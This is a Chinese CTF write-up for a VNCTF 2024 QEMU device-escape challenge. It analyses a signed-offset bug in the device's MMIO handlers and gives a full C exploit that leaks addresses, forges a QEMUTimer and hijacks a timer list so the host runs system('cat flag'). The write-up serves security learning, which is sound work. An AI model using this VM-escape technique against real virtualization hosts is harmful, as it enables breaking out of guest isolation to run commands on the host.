第一次从qemu里面逃出来,但没有完全逃出来,远程没通比赛就结束了S.H.I.T

题目链接:xtxtn/vnctf2024-escape_langlang_mountain2wp (github.com)

关于qemu pwn入门,网上中文资料非常多:

环境与调试

理想的环境是 qemu 内的系统有 ssh,这样就可以直接连上去,甚至使用 scp 传 payload,但是这题没有。
我采用的调试方法是在 Dockerfile 中加一个 gdb,这样就可以在 docker 中调试,但是最佳的调试方法应该是往 docker 里面塞一个 gdbserver,然后用主机的 gdb attach 上去,这样就可以使用主机里的插件。

漏洞分析

题目实现设备提供了 vn_mmio_readvn_mmio_write 两个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __fastcall vn_mmio_read(const char ****a1, __int64 a2)
{
int v3; // [rsp+2Ch] [rbp-14h]
__int64 v4; // [rsp+30h] [rbp-10h]

v4 = (__int64)object_dynamic_cast_assert(a1, "vn", "../qemu-8.1.4/hw/misc/vnctf.c", 21u, "vn_mmio_read");
if ( a2 == 0x10 )
{
return *(int *)(v4 + 0xB80);
}
else if ( a2 == 32 )
{
return *(int *)(*(int *)(v4 + 0xB80) + 0xB40LL + v4);
}
return v3;
}

object+0xb80 用来保存一个偏移,该函数可以根据缓冲区的相对偏移读数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void __fastcall vn_mmio_write(const char ****a1, unsigned __int64 a2, unsigned __int64 a3)
{
__int64 v5; // [rsp+30h] [rbp-10h]

v5 = (__int64)object_dynamic_cast_assert(a1, "vn", "../qemu-8.1.4/hw/misc/vnctf.c", 42u, "vn_mmio_write");
if ( a2 == 48 )
{
if ( !*(_DWORD *)(v5 + 0xB84) )
{
*(_DWORD *)(v5 + *(int *)(v5 + 0xB80) + 0xB40LL) = a3;// 一次int范围内任意写
*(_DWORD *)(v5 + 0xB84) = 1;
}
}
else if ( a2 <= 0x30 )
{
if ( a2 == 16 )
{
if ( (int)a3 <= 60 )
*(_DWORD *)(v5 + 0xB80) = a3;
}
else if ( a2 == 32 && HIDWORD(a3) <= 0x3C )
{
*(_DWORD *)(v5 + HIDWORD(a3) + 0xB40) = a3;
}
}
return;
}

write 中提供了三个功能:

  • addr==16:设置 0xB80 处的偏移变量
  • addr==32:正常的 Buffer 内读写(0x40 大小空间,没有越界)
  • addr==48:根据偏移变量写入数据(仅限一次)

在检查偏移变量的大小时,由于检查类型是 signed,因此可以把偏移修改为一个负数。于是我们就可以有无限次的任意相对地址读,以及一次任意相对地址写入。

漏洞利用

整体思路:

  1. 在设备 Object 结构体内寻找堆地址和程序地址并泄露
  2. 从 main_loop_tlg 泄露出第二个 timerlist 的地址
  3. 在设备 Buffer 中伪造 QEMUTimer 结构体
  4. 劫持 timerlist 的 active_timers 指针为伪造的结构体

地址泄露

由于我第一次打 qemu pwn,对于其中各种结构体都比较陌生,所以我直接用本办法,在动态调试的时候查看 Buffer 前面的数据,从里面找到可以泄露的指针。(从而给后面本地打得通远程打不通埋下了伏笔)

在不清除结构体信息的情况下,找泄露的时候需要注意一些查找要点:

  • 泄露程序基地址时,随便找一个指向程序某地址的指针泄露就行了;
  • 泄露堆地址时要注意,不同环境之间的堆环境可能不一样,因此在寻找时(假设我们想要泄露设备 Buffer 的地址):
    • 最佳的泄露用指针是和 Buffer 处于同一个结构体中的指针
    • 其次是和 Buffer 所在结构体位置相近的指针,越相近越好
  • 计算堆基址并没有什么用

根据这种方法可以找到两个指针,然后泄露即可。

当然,如果你是一位对设备的 Object 结构体比较熟悉的 qemu pwn 大师,那么你就可以直接泄露结构体的某些字段来泄露程序和堆的地址。具体来说,可以通过 MemoryRegion 结构体:

1
2
3
4
5
6
7
8
9
10
11
struct MemoryRegion {
...
...
DeviceState *dev;

const MemoryRegionOps *ops;
void *opaque;
MemoryRegion *container;
...
...
}

其中,ops 指向 data 段的 vn_mmio_opsopaque 更是指向 vn 的设备结构体,因此泄露这两个指针就可以准确泄露地址,不用担心什么偏移不一样的问题。

控制流劫持

在网上可以找到的大部分 pwn 题中,设备本身就有一些函数指针,劫持它们就可以劫持控制流(甚至参数),但本题的设备就是单纯的读和写,并没有什么 encoderand 之类的函数。因此,本题需要一个通用的控制流劫持方法。

在 Qemu 中,可以通过注册一个 QEMUTimer 来让 qemu 在一段时间间隔之后调用一个函数,参数为一个 opauqe 指针。相关结构体定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
QEMUTimerList *timer_list;
QEMUTimerCB *cb;
void *opaque;
QEMUTimer *next;
int scale;
};

struct QEMUTimerList {
QEMUClock *clock;
QemuMutex active_timers_lock;
QEMUTimer *active_timers;
QLIST_ENTRY(QEMUTimerList) list;
QEMUTimerListNotifyCB *notify_cb;
void *notify_opaque;
QemuEvent timers_done_ev;
};

从内存视角看两个结构体长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
void *timer_list;
void *cb;
void *opaque;
void *next;
int scale;
};

struct QEMUTimerList {
void * clock;
char active_timers_lock[0x38];
struct QEMUTimer *active_timers;
struct QEMUTimerList *le_next; /* next element */ \
struct QEMUTimerList **le_prev; /* address of previous next element */ \
void *notify_cb;
void *notify_opaque;

/* lightweight method to mark the end of timerlist's running */
size_t timers_done_ev;
};

在 bss 段有一个数组 main_loop_tlg[4],保存了一些 QEMUTimerList 结构体指针,每个 active_timers 都指向一个由 QEMUTimer 结构体组成的链表。qemu 会遍历这些 QEMUTimerList 来检查所有 QEMUTimer 有没有超时并调用它们的 callback 函数(也就是调用 timer->cb(timer->opaque),相关源码见qemu-timer.c - util/qemu-timer.c - Qemu source code (v4.2.1) - Bootlin)。

因此,我们可以在通过 main_loop_tlg 泄露某个 timerlist 的地址后,劫持它的 active_timers 指针并伪造一个 QEMUTimer 结构体,从而控制程序调用函数以及参数。

伪造 QEMUTimer 时,可以这样写:

1
2
3
4
5
6
timer->expire_time = 0x114514;
timer->timer_list = 对应的timer_list地址;
timer->cb = system@plt;
timer->opaque = "cat flag";
timer->next = null;
timer->scale = 0x100000000;

这样程序就会在 0x114514 纳秒之后调用 system("cat flag")

该方法主要参考了:

EXP 脚本

没有在在线环境下试过这个脚本,不过猜测在线问题不大==。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#define _GUN_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>

unsigned char* mmio_mem;
uint32_t mmio_read(uint64_t addr)
{
return *((uint32_t *)(mmio_mem + addr));
}
uint32_t mmio_write(uint64_t addr, uint64_t value)
{
return *((uint32_t *)(mmio_mem + addr)) = value;
}

uint64_t buffer_write(uint64_t index, uint32_t value)
{
return *((uint64_t *)(mmio_mem + 32)) = (index<<32) | value;
}


int main(int argc ,char **argv, char **envp)
{
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd < 0){
puts("open mmio failed");
exit(-1);
}

mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED){
puts("mmap failed !");
exit(-1);
}

uint64_t prog_base = 0;

mmio_write(16, -0x88);
prog_base += mmio_read(32) - 0x82b35b;
mmio_write(16, -0x84);
prog_base |= ((uint64_t)mmio_read(32))<<32;

printf("[*]prog_base: 0x%lx\n", prog_base);

uint64_t heap_base = prog_base & ~(uint64_t)0xffffffff;
mmio_write(16, -2808);
heap_base += mmio_read(32) - 192;
uint64_t buf_addr = heap_base;
printf("[*]buffer: 0x%lx\n", buf_addr);

// leak timer
uint64_t main_loop_tlg = prog_base + 0x14B9480;
mmio_write(16, main_loop_tlg+8-buf_addr);
uint64_t timer_list = (prog_base&(~(uint64_t)0xffffffff)) + mmio_read(32);
uint64_t timer_ptr = timer_list + 0x40;

printf("[*]timer_list: 0x%lx\n", timer_list);

// fake timer
uint64_t system_plt = prog_base + 0x312040;

buffer_write(0, 0x114514);
buffer_write(8, timer_list&0xffffffff);
buffer_write(12, timer_list>>32);
buffer_write(16, system_plt&0xffffffff);
buffer_write(20, system_plt>>32);
buffer_write(24, (buf_addr+0x30)&0xffffffff);
buffer_write(28, (buf_addr+0x30)>>32);
buffer_write(44, 1);
buffer_write(48, 0x20746163); // cat\x20
buffer_write(52, 0x67616c66); // flag
buffer_write(56, 0); // \0

// 劫持 target
int offset = timer_ptr - buf_addr;
printf("[-]offset: %d\n", offset);
mmio_write(16, offset);
mmio_write(48, buf_addr&0xffffffff);

return 0;
}